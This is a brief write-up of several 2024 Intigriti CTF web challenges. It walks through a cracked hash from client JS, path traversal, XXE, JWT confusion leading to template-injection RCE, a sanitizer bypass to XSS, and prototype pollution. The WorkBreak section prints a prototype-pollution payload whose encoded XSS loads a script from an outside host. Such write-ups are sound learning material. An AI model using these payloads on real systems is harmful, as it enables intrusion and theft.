2024 Intigriti CTF, some Web solution
Pizza Paradise, 100p, 395 solves
-
Find
robots.txt
in host page,https://pizzaparadise.ctf.intigriti.io/robots.txt
User-agent: * Disallow: /secret_172346606e1d24062e891d537e917a90.html Disallow: /assets/
-
Open secret login page, find admin username and password hash in client js.
https://pizzaparadise.ctf.intigriti.io/assets/js/auth.js
const validUsername = "agent_1337"; const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";
-
Crack sha256 using online tools https://passwordrecovery.io/sha256/. And get password
intel420
-
Login with valid username and password. After login using image download path traversal to leak php file, there is flag!
BioCorp, 100p, 389 solves
- Simple XXE to read flag, too simple
Cat Club, 100p, 130 solves
-
JWT algorithm confusion attack, portswigger lab. Using jwt attack to change username.
-
The changed username is injected to pug template, so just change username to SSTI payload to RCE to read the flag.txt.
SafeNotes 2.0, 218p, 43 solves
-
Users can create note with html but sanitized by Dompurify. But in
logNoteAccess
function,const currentUsername = document.getElementById("username").innerText;
is vulnerable to read our payload, sousername
can be controled.function logNoteAccess(noteId, content) { // Read the current username, maybe we need to ban them? const currentUsername = document.getElementById("username").innerText; const username = currentUsername || urlParams.get("name"); // Just in case, it seems like people can do anything with the client-side!! const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, ''); fetch("/api/notes/log/" + sanitizedUsername, { method: "POST", headers: { "Content-Type": "application/json", "X-CSRFToken": csrf_token, }, body: JSON.stringify({ name: username, note_id: noteId, content: content }), }) .then(response => response.json()) .then(data => { // Does the log entry data look OK? document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2) document.getElementById("debug-content-section").style.display = "block"; }) .catch(error => console.error("Logging failed:", error)); }
-
Bypass regex filter:
const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, '');
. Using....//
to bypass filter, so we can get../
. Therefore, using client side path traversal, we made fetch to another api which will return our manipulated username.fetch("/api/notes/log/" + sanitizedUsername) =>fetch("/contact")
. -
XSS sink, create div with id
debug-content
. and the data is containing our xss payload.document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2)
WorkBreak, 400p, 26 solve
-
Post payload using api
https://workbreak-0.ctf.intigriti.io/api/user/settings
:{"name":"Anon","phone":"","position":"","__proto__":{"tasks":[{"date":"2024-11-20","tasksCompleted":"<img src=x onerror=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOwpzY3JpcHQuc3JjID0gImh0dHBzOi8vY2VoZTcwMTAucmVxdWVzdHJlcG8uY29tIjsKZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzY3JpcHQpOw=='))>"}]}}
-
Client side prototype pollution, in client side, profile will read our data above, noting that
__proto__
is read, chain withObject.assign
we can pollute theuserSettings
object, so this object is containingtasks
field now.const userSettings = Object.assign( { name: "", phone: "", position: "" }, profileData.assignedInfo );
-
Due to insecure iframe postmessage, we can send xss payload to iframe. Also, the xss in iframe will send xss payload back to parent, triggering parent xss.